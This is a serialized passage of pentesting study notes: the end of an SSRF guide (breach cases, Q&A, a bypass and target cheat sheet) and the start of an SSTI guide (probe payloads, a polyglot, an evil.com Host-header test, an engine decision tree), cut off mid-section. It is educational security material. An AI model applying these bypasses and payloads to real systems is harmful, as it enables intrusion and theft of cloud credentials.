exploitation",[13081,14548,14549,14554],{},[13096,14550,14551],{},[26,14552,14553],{},"Burp Intruder",[13096,14555,14556],{},"Fuzzing parameters and bypassing filters",[13081,14558,14559,14565],{},[13096,14560,14561,14564],{},[26,14562,14563],{},"Param Miner"," (Burp extension)",[13096,14566,14567],{},"Finding hidden parameters",[12813,14569],{},[19,14571,14573],{"id":14572},"_14-notable-cases","14. Notable Cases",[15,14575,14576,14579],{},[26,14577,14578],{},"Capital One (2019):","\nSSRF → AWS metadata → IAM keys → S3 → leak of 106M records. $80M fine.",[15,14581,14582,14585],{},[26,14583,14584],{},"GitLab (CVE-2021-22214):","\nSSRF via webhook validation, bypass through DNS rebinding.",[15,14587,14588,14591],{},[26,14589,14590],{},"Shopify (2018, Bug Bounty):","\nSSRF via product import → GCP metadata. $15,000 bounty.",[15,14593,14594,14597],{},[26,14595,14596],{},"Microsoft Exchange — ProxyLogon (2021):","\nSSRF + deserialization chain → RCE. Mass exploitation.",[12813,14599],{},[19,14601,14603],{"id":14602},"_15-qa-prep-questions","15. Q&A — Prep Questions",[137,14605,14607],{"id":14606},"_1-what-is-ssrf-1","1. What is SSRF?",[15,14609,14610],{},"A vulnerability where the server makes a network request to an address controlled by the attacker. The server becomes a \"proxy\" — it sits inside the network perimeter and has access to resources unreachable from outside. The attacker doesn't hit the target directly but forces the server to do it, using the server's privileges and network position.",[137,14612,14614],{"id":14613},"_2-what-features-most-often-become-ssrf-entry-points","2. What features most often become SSRF entry points?",[15,14616,14617],{},"Any functionality where the server fetches a user-supplied URL: image\u002Ffile upload by link, webhooks, link previews, data import (RSS\u002FXML\u002FCSV), PDF\u002FHTML generation, integrations with external APIs. Less obvious points: XML parsing (XXE→SSRF), SVG\u002FDOCX uploads, URL availability checks, server-side redirects.",[137,14619,14621],{"id":14620},"_3-why-is-ssrf-more-dangerous-than-just-the-server-fetched-the-wrong-thing","3. Why is SSRF more dangerous than just \"the server fetched the wrong thing\"?",[15,14623,14624],{},"The server is in a trusted network zone. It can reach cloud metadata (169.254.169.254) and grab IAM keys — that's a path to fully compromising the cloud infrastructure. Internal services (Redis, Docker API, Kubernetes) often have no authentication for requests from the internal network. A single SSRF can turn into RCE, data leaks, or lateral movement across the entire infrastructure.",[137,14626,14628],{"id":14627},"_4-how-does-blind-ssrf-differ-from-regular-ssrf","4. How does blind SSRF differ from \"regular\" SSRF?",[15,14630,14631],{},"With regular (non-blind) SSRF, the internal service's response comes back to the attacker — you can read data directly. With blind SSRF, the response is not visible. Confirmation and exploitation go through side channels: OOB callbacks (DNS\u002FHTTP to your server), response time differences (open port is fast, closed port times out), error differences, or side effects of the request (e.g., data deletion via an internal API).",[137,14633,14635],{"id":14634},"_5-where-to-look-for-hidden-ssrf-attack-surface-beyond-the-obvious-url-parameter","5. Where to look for hidden SSRF attack surface beyond the obvious url parameter?",[15,14637,14638,14639,4244,14641,14643],{},"Headers (",[37,14640,4668],{},[37,14642,3402],{},"), hidden parameters (Param Miner), PDF\u002FHTML generators (Puppeteer\u002Fwkhtmltopdf fetch resources from HTML), XML parsers (XXE→SSRF), office documents (DOCX\u002FXLSX contain XML with external entities), client-side JS files (may reveal hidden backend endpoints), server-side redirects.",[137,14645,14647],{"id":14646},"_6-why-doesnt-only-localhost-or-internal-network-access-make-ssrf-safe","6. Why doesn't \"only localhost or internal network\" access make SSRF safe?",[15,14649,14650],{},"Dozens of services run on localhost: Redis (6379), Docker API (2375), MySQL (3306), PHP-FPM (9000), Kubernetes kubelet (10255). Many of them require no authentication for local connections. Unauthenticated Redis + gopher = arbitrary file writes → crontab → reverse shell. Docker API → create a container mounting the host filesystem → full control.",[137,14652,14654],{"id":14653},"_7-why-are-simple-regex-url-validation-and-blocklists-almost-always-unreliable","7. Why are simple regex URL validation and blocklists almost always unreliable?",[15,14656,14657,14658,4244,14661,14664,14665,14668],{},"The IP 127.0.0.1 can be written a dozen ways: decimal (2130706433), hex (0x7f000001), octal (0177.0.0.01), IPv6 (",[313,14659,14660],{},"::1",[313,14662,14663],{},"::ffff:127.0.0.1","), short forms (127.1, 0). There are domains that resolve to 127.0.0.1 (localtest.me, vcap.me). URL parsing has discrepancies: ",[37,14666,14667],{},"allowed.com@attacker.com",", null bytes, fragment tricks. Regex doesn't account for all encoding variants and parsing inconsistencies.",[137,14670,14672],{"id":14671},"_8-why-are-redirects-and-dns-so-important-in-ssrf","8. Why are redirects and DNS so important in SSRF?",[15,14674,14675,14676,14679,14680,14683],{},"Redirects let you bypass first-URL validation: the filter checks ",[37,14677,14678],{},"http:\u002F\u002Fallowed.com\u002Fredirect",", which returns 302 to ",[37,14681,14682],{},"http:\u002F\u002F127.0.0.1\u002Fadmin",". Through redirects you can switch schemes (http → gopher). DNS rebinding exploits TOCTOU: at check time the domain resolves to an external IP (passes validation), at connection time — to 127.0.0.1. If the application doesn't validate every step and doesn't pin the IP after resolution — these bypasses work.",[137,14685,14687],{"id":14686},"_9-why-is-ssrf-especially-dangerous-in-cloud-and-container-environments","9. Why is SSRF especially dangerous in cloud and container environments?",[15,14689,14690,14691,14694],{},"Cloud providers expose a metadata service (169.254.169.254) with IAM keys, tokens, and configuration. IMDSv1 (AWS) serves keys on a simple GET — a perfect SSRF target. In Kubernetes, every Pod has a service account token, and the Kubernetes API is reachable via the DNS name ",[37,14692,14693],{},"kubernetes.default.svc",". Docker API without TLS on port 2375 lets you create containers with host-system access. Dense service packing in containers increases the attack surface.",[137,14696,14698],{"id":14697},"_10-what-does-mature-ssrf-defense-look-like","10. What does mature SSRF defense look like?",[15,14700,14701,14702,14705,14706,14708,14709,14712],{},"Three levels. ",[26,14703,14704],{},"Application:"," whitelist allowed domains and schemes (http\u002Fhttps only), validate IP after DNS resolution (not the URL string but the resolved IP — and use that same IP for the connection), disable or step-by-step validate redirects, understand the behavior of your specific HTTP library. ",[26,14707,2532],{}," filter the format of returned data, standardize errors, minimize returned information. ",[26,14710,14711],{},"Infrastructure:"," network segmentation, IMDSv2\u002Fmetadata headers, isolate SSRF-prone services in a separate segment.",[12813,14714],{},[19,14716,14718],{"id":14717},"_16-quick-review-cheat-sheet","16. Quick Review Cheat Sheet",[142,14720,14723],{"className":14721,"code":14722,"language":147},[145],"SSRF = server fetches a URL the attacker controls\n\nWhere: url=, uploads, webhooks, PDF generation, XML parsing\nTypes: non-blind (see the response) \u002F blind (don't see it)\nProtocols: http, file, gopher, dict\n\nFilter bypass:\n  IP → decimal\u002Fhex\u002Foctal\u002FIPv6\u002Fdomains\n  Domain → @, #, open redirect, DNS rebinding\n  Scheme → case change, redirect\n  TOCTOU → check and use happen at different times\n  CRLF → arbitrary headers in the request\n\nTargets:\n  169.254.169.254 → cloud keys (AWS\u002FGCP\u002FAzure)\n  file:\u002F\u002F\u002Fetc\u002Fpasswd → files\n  gopher → Redis\u002FFastCGI → RCE\n  Docker API (2375) → RCE\n  Kubernetes API → cluster secrets\n  Service account token → \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002F...\n\nDefense:\n  Application: whitelist domains\u002Fschemes, validate IP after resolve, control redirects\n  Response: format filtering, uniform errors, minimal data\n  Infrastructure: segmentation, IMDSv2, isolation\n\nSeverity: RCE\u002Fcloud keys = critical, files\u002Finternal network = high, blind = medium\n",[37,14724,14722],{"__ignoreMap":87},[361,14726,14727],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":87,"searchDepth":88,"depth":88,"links":14729},[14730,14731,14737,14742,14749,14758,14765,14773,14778,14779,14786,14792,14793,14794,14795,14807],{"id":12794,"depth":88,"text":12795},{"id":12817,"depth":88,"text":12818,"children":14732},[14733,14734,14735,14736],{"id":12821,"depth":253,"text":12822},{"id":12852,"depth":253,"text":12853},{"id":13014,"depth":253,"text":13015},{"id":13024,"depth":253,"text":13025},{"id":13044,"depth":88,"text":13045,"children":14738},[14739,14740,14741],{"id":13048,"depth":253,"text":13049},{"id":13065,"depth":253,"text":13066},{"id":13128,"depth":253,"text":13129},{"id":13141,"depth":88,"text":13142,"children":14743},[14744,14745,14746,14747,14748],{"id":13145,"depth":253,"text":13146},{"id":13152,"depth":253,"text":13153},{"id":13174,"depth":253,"text":13175},{"id":13219,"depth":253,"text":13220},{"id":13246,"depth":253,"text":13247},{"id":13286,"depth":88,"text":13287,"children":14750},[14751,14752,14753,14754,14755,14756,14757],{"id":13290,"depth":253,"text":13291},{"id":13363,"depth":253,"text":13364},{"id":13403,"depth":253,"text":13404},{"id":13413,"depth":253,"text":13414},{"id":13446,"depth":253,"text":13447},{"id":13496,"depth":253,"text":13497},{"id":13507,"depth":253,"text":13508},{"id":13532,"depth":88,"text":13533,"children":14759},[14760,14761,14762,14763,14764],{"id":13536,"depth":253,"text":13537},{"id":13628,"depth":253,"text":13629},{"id":13647,"depth":253,"text":13648},{"id":13664,"depth":253,"text":13665},{"id":13674,"depth":253,"text":13675},{"id":13692,"depth":88,"text":13693,"children":14766},[14767,14768,14769,14770,14771,14772],{"id":13696,"depth":253,"text":13697},{"id":13754,"depth":253,"text":13755},{"id":13800,"depth":253,"text":13801},{"id":13816,"depth":253,"text":13817},{"id":13843,"depth":253,"text":13844},{"id":13882,"depth":253,"text":13883},{"id":13912,"depth":88,"text":13913,"children":14774},[14775,14776,14777],{"id":13919,"depth":253,"text":13920},{"id":13953,"depth":253,"text":13954},{"id":13990,"depth":253,"text":13991},{"id":14031,"depth":88,"text":14032},{"id":14148,"depth":88,"text":14149,"children":14780},[14781,14782,14783,14784,14785],{"id":14152,"depth":253,"text":14153},{"id":14170,"depth":253,"text":14171},{"id":14200,"depth":253,"text":14201},{"id":14212,"depth":253,"text":14213},{"id":14233,"depth":253,"text":14234},{"id":14252,"depth":88,"text":14253,"children":14787},[14788,14789,14790,14791],{"id":14256,"depth":253,"text":14257},{"id":14339,"depth":253,"text":14340},{"id":14367,"depth":253,"text":14368},{"id":14409,"depth":253,"text":14410},{"id":14432,"depth":88,"text":14433},{"id":14492,"depth":88,"text":14493},{"id":14572,"depth":88,"text":14573},{"id":14602,"depth":88,"text":14603,"children":14796},[14797,14798,14799,14800,14801,14802,14803,14804,14805,14806],{"id":14606,"depth":253,"text":14607},{"id":14613,"depth":253,"text":14614},{"id":14620,"depth":253,"text":14621},{"id":14627,"depth":253,"text":14628},{"id":14634,"depth":253,"text":14635},{"id":14646,"depth":253,"text":14647},{"id":14653,"depth":253,"text":14654},{"id":14671,"depth":253,"text":14672},{"id":14686,"depth":253,"text":14687},{"id":14697,"depth":253,"text":14698},{"id":14717,"depth":88,"text":14718},"2026-04-19","Complete breakdown of SSRF — where to look, types, protocols, filter bypass, cloud metadata, paths to RCE, defenses. Theory, methodology, cheat sheet.",{},"\u002Fnotes\u002Fpentesting\u002Fssrf",{"title":12779,"description":14809},{"loc":14811},"notes\u002Fpentesting\u002Fssrf",[12187,14816,11892,266,269],"cloud","cheatsheet","DYz-FPUk83K1T5L9U70AAMRX2O-bmhSo66Dsa6_BdwM",{"id":14820,"title":14821,"author":6,"body":14822,"date":14808,"description":17134,"difficulty":93,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":17135,"navigation":96,"notes":93,"path":17136,"psTitle":93,"seo":17137,"sitemap":17138,"stem":17139,"tags":17140,"timeSpent":93,"type":14817,"__hash__":17143},"content_en\u002Fnotes\u002Fpentesting\u002Fssti.md","Server-Side Template Injection (SSTI)",{"type":8,"value":14823,"toc":17061},[14824,14827,14831,14838,14844,14851,14855,14904,14915,14917,14921,15005,15008,15010,15014,15018,15286,15290,15307,15309,15313,15317,15320,15325,15339,15344,15381,15385,15392,15398,15405,15411,15415,15418,15424,15427,15466,15469,15473,15479,15485,15492,15496,15503,15509,15515,15525,15563,15565,15569,15573,15576,15600,15610,15617,15630,15637,15639,15643,15647,15657,15662,15743,15748,15754,15759,15762,15768,15771,15777,15780,15786,15789,15795,15800,15807,15813,15817,15833,15839,15843,15848,15854,15859,15865,15869,15875,15880,15886,15890,15897,15902,15908,15913,15919,15923,15929,15933,15939,15942,15948,15952,15957,15963,15968,15974,15978,15985,16012,16016,16019,16025,16029,16032,16038,16048,16054,16058,16065,16070,16076,16081,16087,16092,16098,16100,16104,16111,16114,16120,16123,16127,16133,16141,16143,16147,16153,16159,16165,16169,16175,16177,16180,16183,16259,16264,16266,16269,16273,16311,16315,16321,16327,16333,16336,16342,16346,16352,16355,16361,16365,16368,16371,16377,16381,16438,16440,16444,16448,16492,16496,16536,16540,16569,16579,16581,16584,16632,16639,16641,16643,16715,16719,16816,16818,16821,16827,16833,16841,16847,16853,16855,16859,16863,16880,16884,16887,16891,16909,16913,16941,16945,16960,16964,16980,16984,17005,17009,17035,17039,17046,17048,17052,17058],[11,14825,14821],{"id":14826},"server-side-template-injection-ssti",[19,14828,14830],{"id":14829},"_1-what-is-ssti","1. What is SSTI",[15,14832,14833,14834,14837],{},"SSTI is a vulnerability where ",[26,14835,14836],{},"user input ends up inside a template and the template engine interprets it as code",", not data.",[142,14839,14842],{"className":14840,"code":14841,"language":147},[145],"Attacker → input: {{7*7}} → Template engine → interprets as expression\n                                               ↓\n                                             49 in response\n                                               ↓\n                                    sandbox escape → RCE\n",[37,14843,14841],{"__ignoreMap":87},[15,14845,14846,14847,14850],{},"The key point: the template engine ",[26,14848,14849],{},"evaluates"," expressions, calls methods, traverses objects — an attacker leverages this power to execute code on the server.",[137,14852,14854],{"id":14853},"safe-vs-vulnerable","Safe vs Vulnerable",[142,14856,14858],{"className":12380,"code":14857,"language":12382,"meta":87,"style":87},"# SAFE — input is passed as data\ntemplate = \"Hello, {{ username }}!\"\nrender(template, username=user_input)\n# user_input = \"{{7*7}}\" → rendered literally as \"{{7*7}}\"\n\n# VULNERABLE — input is inserted into the template itself\ntemplate = \"Hello, \" + user_input + \"!\"\nrender(template)\n# user_input = \"{{7*7}}\" → engine evaluates → \"Hello, 49!\"\n",[37,14859,14860,14865,14870,14875,14880,14884,14889,14894,14899],{"__ignoreMap":87},[313,14861,14862],{"class":315,"line":316},[313,14863,14864],{},"# SAFE — input is passed as data\n",[313,14866,14867],{"class":315,"line":88},[313,14868,14869],{},"template = \"Hello, {{ username }}!\"\n",[313,14871,14872],{"class":315,"line":253},[313,14873,14874],{},"render(template, username=user_input)\n",[313,14876,14877],{"class":315,"line":780},[313,14878,14879],{},"# user_input = \"{{7*7}}\" → rendered literally as \"{{7*7}}\"\n",[313,14881,14882],{"class":315,"line":792},[313,14883,777],{"emptyLinePlaceholder":96},[313,14885,14886],{"class":315,"line":802},[313,14887,14888],{},"# VULNERABLE — input is inserted into the template itself\n",[313,14890,14891],{"class":315,"line":821},[313,14892,14893],{},"template = \"Hello, \" + user_input + \"!\"\n",[313,14895,14896],{"class":315,"line":833},[313,14897,14898],{},"render(template)\n",[313,14900,14901],{"class":315,"line":842},[313,14902,14903],{},"# user_input = \"{{7*7}}\" → engine evaluates → \"Hello, 49!\"\n",[15,14905,14906,14907,14910,14911,14914],{},"The difference: ",[26,14908,14909],{},"data into template"," (safe) vs ",[26,14912,14913],{},"input AS template"," (SSTI).",[12813,14916],{},[19,14918,14920],{"id":14919},"_2-ssti-vs-xss-the-fundamental-difference","2. SSTI vs XSS — the fundamental difference",[13075,14922,14923,14935],{},[13078,14924,14925],{},[13081,14926,14927,14929,14932],{},[13084,14928],{},[13084,14930,14931],{},"XSS",[13084,14933,14934],{},"SSTI",[13091,14936,14937,14950,14963,14976,14991],{},[13081,14938,14939,14944,14947],{},[13096,14940,14941],{},[26,14942,14943],{},"Where it executes",[13096,14945,14946],{},"In the browser (client)",[13096,14948,14949],{},"On the server",[13081,14951,14952,14957,14960],{},[13096,14953,14954],{},[26,14955,14956],{},"Language",[13096,14958,14959],{},"JavaScript",[13096,14961,14962],{},"Python, PHP, Java, Ruby...",[13081,14964,14965,14970,14973],{},[13096,14966,14967],{},[26,14968,14969],{},"Access",[13096,14971,14972],{},"DOM, cookies, localStorage",[13096,14974,14975],{},"Files, OS, DB, network",[13081,14977,14978,14983,14986],{},[13096,14979,14980],{},[26,14981,14982],{},"Maximum impact",[13096,14984,14985],{},"Session hijacking, phishing",[13096,14987,14988],{},[26,14989,14990],{},"RCE — full server control",[13081,14992,14993,14997,15000],{},[13096,14994,14995],{},[26,14996,14442],{},[13096,14998,14999],{},"Medium-High",[13096,15001,15002],{},[26,15003,15004],{},"High-Critical",[15,15006,15007],{},"They may look similar on the surface (input reflected on the page), but SSTI is an order of magnitude more dangerous.",[12813,15009],{},[19,15011,15013],{"id":15012},"_3-template-engines-whos-who","3. Template engines: who's who",[137,15015,15017],{"id":15016},"major-engines-by-language","Major engines by language",[13075,15019,15020,15035],{},[13078,15021,15022],{},[13081,15023,15024,15026,15029,15032],{},[13084,15025,14956],{},[13084,15027,15028],{},"Engine",[13084,15030,15031],{},"Syntax",[13084,15033,15034],{},"Danger level",[13091,15036,15037,15058,15078,15100,15121,15147,15167,15184,15201,15219,15234,15250,15266],{},[13081,15038,15039,15044,15047,15055],{},[13096,15040,15041],{},[26,15042,15043],{},"Python",[13096,15045,15046],{},"Jinja2",[13096,15048,15049,5227,15052],{},[37,15050,15051],{},"{{ }}",[37,15053,15054],{},"{% %}",[13096,15056,15057],{},"High — MRO chains",[13081,15059,15060,15064,15067,15075],{},[13096,15061,15062],{},[26,15063,15043],{},[13096,15065,15066],{},"Mako",[13096,15068,15069,5227,15072],{},[37,15070,15071],{},"${  }",[37,15073,15074],{},"\u003C% %>",[13096,15076,15077],{},"Very high — direct Python",[13081,15079,15080,15085,15088,15094],{},[13096,15081,15082],{},[26,15083,15084],{},"PHP",[13096,15086,15087],{},"Twig",[13096,15089,15090,5227,15092],{},[37,15091,15051],{},[37,15093,15054],{},[13096,15095,15096,15097],{},"High — filters, ",[37,15098,15099],{},"_self",[13081,15101,15102,15106,15109,15114],{},[13096,15103,15104],{},[26,15105,15084],{},[13096,15107,15108],{},"Smarty",[13096,15110,15111],{},[37,15112,15113],{},"{  }",[13096,15115,15116,15117,15120],{},"High — ",[37,15118,15119],{},"{php}"," tag (old versions)",[13081,15122,15123,15128,15131,15138],{},[13096,15124,15125],{},[26,15126,15127],{},"Java",[13096,15129,15130],{},"Freemarker",[13096,15132,15133,5227,15135],{},[37,15134,15071],{},[37,15136,15137],{},"\u003C#  >",[13096,15139,15140,15141,4244,15144],{},"Very high — ",[37,15142,15143],{},"Execute",[37,15145,15146],{},"ObjectConstructor",[13081,15148,15149,15153,15156,15164],{},[13096,15150,15151],{},[26,15152,15127],{},[13096,15154,15155],{},"Velocity",[13096,15157,15158,5227,15161],{},[37,15159,15160],{},"$var",[37,15162,15163],{},"#set()",[13096,15165,15166],{},"High — reflection",[13081,15168,15169,15173,15176,15181],{},[13096,15170,15171],{},[26,15172,15127],{},[13096,15174,15175],{},"Thymeleaf",[13096,15177,15178,15180],{},[37,15179,15071],{}," in attributes",[13096,15182,15183],{},"High — SpEL injections",[13081,15185,15186,15190,15193,15199],{},[13096,15187,15188],{},[26,15189,15127],{},[13096,15191,15192],{},"Pebble",[13096,15194,15195,5227,15197],{},[37,15196,15051],{},[37,15198,15054],{},[13096,15200,15166],{},[13081,15202,15203,15208,15211,15216],{},[13096,15204,15205],{},[26,15206,15207],{},"Ruby",[13096,15209,15210],{},"ERB",[13096,15212,15213],{},[37,15214,15215],{},"\u003C%= %>",[13096,15217,15218],{},"Very high — direct Ruby",[13081,15220,15221,15226,15229,15232],{},[13096,15222,15223],{},[26,15224,15225],{},"JS\u002FNode",[13096,15227,15228],{},"Pug (Jade)",[13096,15230,15231],{},"indentation",[13096,15233,14464],{},[13081,15235,15236,15240,15243,15247],{},[13096,15237,15238],{},[26,15239,15225],{},[13096,15241,15242],{},"Handlebars",[13096,15244,15245],{},[37,15246,15051],{},[13096,15248,15249],{},"Low — limited logic",[13081,15251,15252,15256,15259,15263],{},[13096,15253,15254],{},[26,15255,15225],{},[13096,15257,15258],{},"EJS",[13096,15260,15261],{},[37,15262,15215],{},[13096,15264,15265],{},"High — direct JS",[13081,15267,15268,15273,15276,15284],{},[13096,15269,15270],{},[26,15271,15272],{},".NET",[13096,15274,15275],{},"Razor",[13096,15277,15278,5227,15281],{},[37,15279,15280],{},"@( )",[37,15282,15283],{},"@{ }",[13096,15285,14474],{},[137,15287,15289],{"id":15288},"logic-less-vs-logic-full","Logic-less vs Logic-full",[30,15291,15292,15298],{},[33,15293,15294,15297],{},[26,15295,15296],{},"Logic-less"," (Mustache, Handlebars) — minimal logic, SSTI unlikely",[33,15299,15300,15303,15304],{},[26,15301,15302],{},"Logic-full"," (Jinja2, Twig, Freemarker, ERB, Mako, Pebble) — loops, method calls, object access → ",[26,15305,15306],{},"attack surface",[12813,15308],{},[19,15310,15312],{"id":15311},"_4-detecting-ssti","4. Detecting SSTI",[137,15314,15316],{"id":15315},"step-1-find-reflection-points","Step 1: Find reflection points",[15,15318,15319],{},"Where user input can end up in a template:",[15,15321,15322],{},[26,15323,15324],{},"Obvious:",[30,15326,15327,15330,15333,15336],{},[33,15328,15329],{},"Displaying username, email, profile",[33,15331,15332],{},"Search bar with reflection: \"Results for: X\"",[33,15334,15335],{},"Comments, reviews, messages",[33,15337,15338],{},"Template customization (CMS, email campaigns, builders)",[15,15340,15341],{},[26,15342,15343],{},"Less obvious:",[30,15345,15346,15349,15352,15355,15358,15373],{},[33,15347,15348],{},"Error pages: \"Page X not found\" (404)",[33,15350,15351],{},"Error messages: \"Invalid parameter: X\"",[33,15353,15354],{},"PDF\u002Femail generation — data rendered through a template",[33,15356,15357],{},"Message previews",[33,15359,15360,15361,4244,15364,4244,15367,4244,15370],{},"URL parameters: ",[37,15362,15363],{},"?name=",[37,15365,15366],{},"?message=",[37,15368,15369],{},"?greeting=",[37,15371,15372],{},"?template=",[33,15374,15375,15376,4244,15378,15380],{},"HTTP headers (rare): ",[37,15377,2875],{},[37,15379,4668],{}," injected into a template",[137,15382,15384],{"id":15383},"step-2-distinguish-ssti-from-plain-reflection","Step 2: Distinguish SSTI from plain reflection",[15,15386,15387,15388,15391],{},"Inject a ",[26,15389,15390],{},"math expression"," in template engine syntax:",[142,15393,15396],{"className":15394,"code":15395,"language":147},[145],"Input: {{7*7}}\nIf \"49\" in response → engine evaluated it → SSTI\nIf \"{{7*7}}\" in response → plain reflection → not SSTI\n",[37,15397,15395],{"__ignoreMap":87},[15,15399,15400,15401,15404],{},"But ",[37,15402,15403],{},"{{7*7}}"," is not the only syntax! Try different ones:",[142,15406,15409],{"className":15407,"code":15408,"language":147},[145],"{{7*7}}          — Jinja2, Twig, Handlebars\n${7*7}           — Freemarker, Mako, Thymeleaf\n#{7*7}           — Thymeleaf (Spring), Ruby\n\u003C%= 7*7 %>       — ERB, EJS\n{7*7}            — Smarty\n#set($x=7*7)$x  — Velocity\n",[37,15410,15408],{"__ignoreMap":87},[137,15412,15414],{"id":15413},"polyglot-payload","Polyglot payload",[15,15416,15417],{},"A universal detector covering most engines:",[142,15419,15422],{"className":15420,"code":15421,"language":147},[145],"${{\u003C%[%'\"}}%\\\n",[37,15423,15421],{"__ignoreMap":87},[15,15425,15426],{},"Why it works:",[30,15428,15429,15442,15448,15454,15460],{},[33,15430,15431,15434,15435,15438,15439,12837],{},[37,15432,15433],{},"${{"," — triggers Freemarker\u002FMako (",[37,15436,15437],{},"${...}",") and Jinja2\u002FTwig (",[37,15440,15441],{},"{{...}}",[33,15443,15444,15447],{},[37,15445,15446],{},"\u003C%"," — ERB\u002FEJS\u002FJSP",[33,15449,15450,15453],{},[37,15451,15452],{},"[%"," — Perl Template Toolkit",[33,15455,15456,15459],{},[37,15457,15458],{},"'\""," — causes a parser error on unclosed strings",[33,15461,15462,15465],{},[37,15463,15464],{},"}}%\\"," — closing constructs for different engines",[15,15467,15468],{},"Goal: trigger a parser error confirming a template engine is present. If the server returns 500 with a stack trace — there's a template engine.",[137,15470,15472],{"id":15471},"ssti-via-host-header","SSTI via Host header",[15,15474,15475,15476,15478],{},"Some applications inject the ",[37,15477,2875],{}," header into a template for link generation (e.g., password reset emails):",[142,15480,15483],{"className":15481,"code":15482,"language":147},[145],"Host: {{7*7}}.evil.com\n",[37,15484,15482],{"__ignoreMap":87},[15,15486,15487,15488,15491],{},"If ",[37,15489,15490],{},"49.evil.com"," shows up in the email — SSTI via Host header. Found in Django, Flask, Ruby on Rails with misconfigured setups.",[137,15493,15495],{"id":15494},"step-3-portswigger-decision-tree-engine-identification","Step 3: PortSwigger decision tree (engine identification)",[15,15497,15498,15499,15502],{},"This is the ",[26,15500,15501],{},"key methodology"," — sequential payload injection:",[142,15504,15507],{"className":15505,"code":15506,"language":147},[145],"                        ${7*7}\n                       \u002F       \\\n                   49            a]${7*7}\n                  \u002F                    \\\n              ${7*7} works          #{7*7}\n             (Java\u002FPython)              \\\n                 |                    49 → Thymeleaf \u002F Ruby\n            {{7*7}}                  not 49 → unknown\n           \u002F       \\\n        49          error\u002Fnothing\n       \u002F                \\\n  {{7*'7'}}          not this syntax\n  \u002F         \\          → try others\n7777777      49\n  |           |\nJinja2      Twig\n\n\nFull tree:\n\n1. Inject  {{7*7}}\n   → 49? ─────── Yes ──→ 2. Inject {{7*'7'}}\n   │                         → \"7777777\"? ── Yes ──→ Jinja2 (Python)\n   │                         → \"49\"? ─────── Yes ──→ Twig (PHP)\n   │\n   └── No ──→ 3. Inject ${7*7}\n                    → 49? ─── Yes ──→ 4. Inject ${class.getClass()}\n                    │                     → response? ── Yes ──→ Java (Freemarker\u002FVelocity)\n                    │                     → error? ───── Yes ──→ Mako (Python)\n                    │\n                    └── No ──→ 5. Inject \u003C%= 7*7 %>\n                                    → 49? ── Yes ──→ ERB (Ruby) \u002F EJS (Node)\n                                    │\n                                    └── No ──→ 6. Inject {7*7}\n                                                    → 49? ── Yes ──→ Smarty (PHP)\n                                                    └── No ──→ different engine\n",[37,15508,15506],{"__ignoreMap":87},[137,15510,15512,15513],{"id":15511},"key-payload-77","Key payload: ",[37,15514,2778],{},[15,15516,15517,15518,15521,15522,15524],{},"Purpose: ",[26,15519,15520],{},"distinguishes Jinja2 from Twig"," (both use ",[37,15523,15051],{},"):",[13075,15526,15527,15539],{},[13078,15528,15529],{},[13081,15530,15531,15533,15536],{},[13084,15532,8777],{},[13084,15534,15535],{},"Jinja2 (Python)",[13084,15537,15538],{},"Twig (PHP)",[13091,15540,15541],{},[13081,15542,15543,15547,15557],{},[13096,15544,15545],{},[37,15546,2778],{},[13096,15548,15549,15552,15553,15556],{},[37,15550,15551],{},"7777777"," (Python: ",[37,15554,15555],{},"\"7\" * 7"," = string repetition)",[13096,15558,15559,15562],{},[37,15560,15561],{},"49"," (PHP: string cast to number)",[12813,15564],{},[19,15566,15568],{"id":15567},"_5-sandbox-escape-the-key-concept","5. Sandbox Escape — the key concept",[137,15570,15572],{"id":15571},"what-is-a-sandbox","What is a sandbox",[15,15574,15575],{},"The template engine intentionally restricts available functionality:",[30,15577,15578,15583,15594,15597],{},[33,15579,15580,15581],{},"No ",[37,15582,762],{},[33,15584,15580,15585,4244,15588,4244,15591],{},[37,15586,15587],{},"eval",[37,15589,15590],{},"exec",[37,15592,15593],{},"system",[33,15595,15596],{},"No filesystem access",[33,15598,15599],{},"Only variables passed into the template",[15,15601,15602,15605,15606,15609],{},[26,15603,15604],{},"Sandbox escape"," means finding a way to ",[26,15607,15608],{},"bypass these restrictions"," while staying inside the template.",[137,15611,15613,15614],{"id":15612},"why-you-cant-just-import-os-ossystemid","Why you can't just ",[37,15615,15616],{},"{{ import os; os.system(\"id\") }}",[15,15618,15619,15620,15623,15624,7697,15627,15629],{},"The template engine ",[26,15621,15622],{},"doesn't execute arbitrary language code",". It only executes ",[26,15625,15626],{},"expressions in its own syntax",[37,15628,762],{}," is a Python statement, not a Jinja2 expression. The engine doesn't understand it.",[15,15631,15632,15633,15636],{},"But the engine can ",[26,15634,15635],{},"access object attributes"," — and that's enough to break out.",[12813,15638],{},[19,15640,15642],{"id":15641},"_6-per-engine-exploitation","6. Per-engine exploitation",[137,15644,15646],{"id":15645},"_61-jinja2-python-mro-chains","6.1 Jinja2 (Python) — MRO chains",[15,15648,15649,15652,15653,15656],{},[26,15650,15651],{},"MRO (Method Resolution Order)"," is the class inheritance chain in Python. Any object → its class → base 